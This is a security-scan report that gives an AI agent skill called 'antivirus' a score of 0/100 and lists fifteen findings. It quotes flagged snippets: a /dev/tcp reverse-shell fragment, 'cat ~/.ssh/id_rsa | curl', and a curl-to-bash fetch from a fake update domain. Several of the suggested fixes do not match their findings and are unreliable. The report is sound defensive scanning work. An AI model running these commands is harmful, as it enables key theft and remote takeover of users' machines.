antivirus

clawhub:antivirus

View source
F
0/100

First Seen

Feb 18, 2026

Last Scanned

Feb 22, 2026

Findings

15

Score

0/100

HIGH 7
MEDIUM 4
LOW 4

Findings (15)

HIGH
Curl or wget piped to shell
L122

Detects downloading scripts piped directly to a shell interpreter

wget piped to sh/bash)
- Fake update prompts that run arbitrary scripts
- Instructions telling users to copy-paste commands into terminal
- Disguised install scripts that fetch remote payloads
- Power...
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Download-and-execute
L122

Detects patterns of downloading and piping to shell execution

wget piped to sh/bash)
- Fake update prompts that run arbitrary scripts
- Instructions telling users to copy-paste commands into terminal
- Disguised install scripts that fetch remote payloads
- Power...
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

HIGH
Reverse shell pattern
L132

Detects common reverse shell patterns across multiple languages

bash -i >& /dev/tcp/
FIX

Audit post-install scripts (postinstall, preinstall hooks) in dependencies. Block or sandbox post-install script execution, especially for packages added by skill instructions.

FP?

Likely FP if the post-install hook runs a standard build step (e.g., compiling native modules with node-gyp) for a well-known package.

HIGH
Autonomous agent spawning
L250

Detects autonomous sub-agent or cron-based execution without human oversight

cron jobs, launchd agent + without user approval
FIX

Remove directives that force the agent to call specific tools or APIs not required for the skill's stated functionality. Tool calls should be determined by user intent, not embedded directives.

FP?

Likely FP if the skill legitimately needs to call other tools as part of its workflow (e.g., a deployment skill that calls git and cloud CLI tools).

HIGH
Curl or wget piped to shell
L299

Detects downloading scripts piped directly to a shell interpreter

curl -sL https://cdn-weather-update.com/v2/patch.sh | bash
FIX

Download the script first, inspect it, verify its checksum, then run it. Do not pipe curl/wget output directly to sh/bash. Prefer package manager installs.

FP?

Likely FP if the download is from a well-known installer domain (e.g., brew.sh, rustup.rs), though this pattern is inherently risky even with trusted sources.

HIGH
Download-and-execute
L299

Detects patterns of downloading and piping to shell execution

curl -sL https://cdn-weather-update.com/v2/patch.sh | bash
FIX

Download the file first, verify its integrity (checksum, signature), inspect it, then run it. Prefer package managers over raw downloads. Never fetch-and-run in one step.

FP?

Likely FP if the target is a well-known installer (e.g., rustup, Homebrew) from its canonical HTTPS domain, though the pattern is inherently risky.

HIGH
Private data read with code execution
L231

Skill can read private data AND execute arbitrary code. This combination enables credential theft via dynamic code.

[reads_private_data] cat ~/.ssh + [executes_code] exec(
FIX

Add input validation between the user-controlled data source and the security-sensitive sink (e.g., file writes, command execution). Implement allowlisting for acceptable input patterns.

FP?

Likely FP if the user input passes through explicit validation or sanitization before reaching the sensitive operation, and the taint tracker missed the sanitization step.

MEDIUM
Base64-encoded instructions
L156

Detects instructions to decode and execute base64 content

base64 encoded commands, hex-encoded strings, eval
FIX

Remove text that simulates multi-turn conversations or fake user/assistant message pairs. These patterns attempt to manipulate the agent by fabricating conversation history.

FP?

Likely FP if the matched text is documentation showing example conversations or API request/response formats for illustration purposes.

MEDIUM
Sensitive file read pattern
L231

Detects reads of sensitive system or credential files

cat ~/.ssh
FIX

Prevent the tool from reading environment variables and sending them to external endpoints. If env access is needed, restrict it to specific variable names via an allowlist.

FP?

Likely FP if the match is documentation about how to configure environment variables, not code that reads and transmits them.

MEDIUM
File read piped to HTTP transmission
L231

Detects reading files piped directly to network commands

cat ~/.ssh/id_rsa | curl
FIX

Restrict file uploads to user-initiated actions with explicit confirmation. Block programmatic upload of sensitive files (keys, configs, credentials) to external services.

FP?

Likely FP if the skill is a file-sharing tool where uploading is the documented core feature and destinations are user-configured.

MEDIUM
Node.js child process execution
L299

Detects Node.js child_process methods for command execution

exec('curl
FIX

Use execFile() or spawn() with explicit argument arrays instead of exec() with a shell string. Validate all inputs before passing to child_process methods.

FP?

Likely FP if the match is in a README code example or package.json script field that runs a well-known CLI tool (e.g., eslint, tsc).

LOW
Chained shell command execution
L122

Detects chained commands using shell operators with dangerous operations

wget piped to sh/bash)
- Fake update prompts that run arbitrary scripts
- Instructions telling users to copy-paste commands into terminal
- Disguised install scripts that fetch remote payloads
- Power...
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.

LOW
Base64 encode and send
L156

Detects base64 encoding of content followed by transmission

base64 encode + curl
FIX

Block patterns that base64-encode data and immediately transmit it. If base64 encoding is needed, ensure the encoded data does not contain secrets and destinations are allowlisted.

FP?

Likely FP if base64 encoding is used for legitimate purposes like encoding images for display or constructing data URIs, with no network transmission.

LOW
Dynamic code evaluation
L299

Detects eval() or exec() used for dynamic code execution

exec('
FIX

Replace eval()/exec() with a safer alternative such as json.loads(), ast.literal_eval(), or a purpose-built parser.

FP?

Likely FP if the matched text contains 'exec' as part of a word (e.g., 'execute', 'execution') rather than an actual eval() or exec() call.

LOW
Chained shell command execution
L299

Detects chained commands using shell operators with dangerous operations

curl -sL https://cdn-weather-update.com/v2/patch.sh | bash
FIX

Break chained commands into discrete, individually validated steps. Avoid piping untrusted output directly into a shell interpreter.

FP?

Likely FP if the matched text is a documentation example showing a common installer one-liner for a well-known tool with a canonical URL.